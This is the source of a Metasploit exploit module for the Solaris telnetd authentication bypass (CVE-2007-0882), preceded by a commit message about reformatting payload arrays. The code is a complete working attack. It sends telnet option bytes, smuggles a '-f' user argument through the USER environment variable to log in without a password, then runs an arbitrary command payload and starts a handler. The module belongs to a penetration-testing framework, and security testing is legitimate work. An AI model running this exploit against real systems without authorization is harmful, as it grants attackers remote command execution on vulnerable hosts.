Tod Beardsley
c547e84fa7
According to the Ruby style guide, %w{} collections for arrays of single
words are preferred. They're easier to type, and if you want a quick
grep, they're easier to search.
This change converts all Payloads to this format if there is more than
one payload to choose from.
It also alphabetizes the payloads, so the order can be more predictable,
and for long sets, easier to scan with eyeballs.
See:
https://github.com/bbatsov/ruby-style-guide#collections
108 lines
2.5 KiB
Ruby
108 lines
2.5 KiB
Ruby
##
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# This file is part of the Metasploit Framework and may be subject to
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# redistribution and commercial restrictions. Please see the Metasploit
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# web site for more information on licensing and terms of use.
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# http://metasploit.com/
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##
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require 'msf/core'
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class Metasploit3 < Msf::Exploit::Remote
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Rank = ExcellentRanking
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include Msf::Exploit::Remote::Tcp
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'Sun Solaris Telnet Remote Authentication Bypass Vulnerability',
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'Description' => %q{
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This module exploits the argument injection vulnerabilty
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in the telnet daemon (in.telnetd) of Solaris 10 and 11.
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},
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'Author' => [ 'MC' ],
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'License' => MSF_LICENSE,
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'References' =>
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[
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[ 'CVE', '2007-0882' ],
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[ 'OSVDB', '31881'],
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[ 'BID', '22512' ],
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],
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'Privileged' => false,
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'Platform' => %w{ solaris unix },
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'Arch' => ARCH_CMD,
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'Payload' =>
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{
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'Space' => 2000,
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'BadChars' => '',
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'DisableNops' => true,
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'Compat' =>
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{
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'PayloadType' => 'cmd',
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'RequiredCmd' => 'generic perl telnet',
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}
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},
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'Targets' =>
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[
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['Automatic', { }],
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],
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'DisclosureDate' => 'Feb 12 2007',
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'DefaultTarget' => 0))
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register_options(
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[
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Opt::RPORT(23),
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OptString.new('USER', [ true, "The username to use", "bin" ]),
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], self.class)
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end
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def exploit
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connect
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print_status('Setting USER environment variable...')
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req = "\xFF\xFD\x26\xFF\xFB\x26\xFF\xFD\x03\xFF\xFB"
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req << "\x18\xFF\xFB\x1F\xFF\xFB\x20\xFF\xFB\x21\xFF"
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req << "\xFB\x22\xFF\xFB\x27\xFF\xFD\x05"
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sock.put(req)
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sock.get_once
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req << "\xFF\xFC\x25"
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sock.put(req)
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sock.get_once
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req << "\xFF\xFA\x26\x01\x01\x02\xFF\xF0"
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sock.put(req)
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sock.get_once
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req << "\xFF\xFA\x1F\x00\x50\x00\x18\xFF\xF0"
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sock.put(req)
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sock.get_once
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req << "\xFF\xFE\x26\xFF\xFC\x23\xFF\xFC\x24"
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sock.put(req)
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sock.get_once
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req = "\xFF\xFA\x18\x00\x58\x54\x45\x52\x4D\xFF"
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req << "\xF0\xFF\xFA\x27\x00\x00\x55\x53\x45\x52"
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req << "\x01\x2D\x66" + datastore['USER'] + "\xFF\xF0"
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sock.put(req)
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sock.get_once
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select(nil,nil,nil,0.25)
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sock.put("nohup " + payload.encoded + " >/dev/null 2>&1\n")
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select(nil,nil,nil,0.25)
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handler
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end
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end
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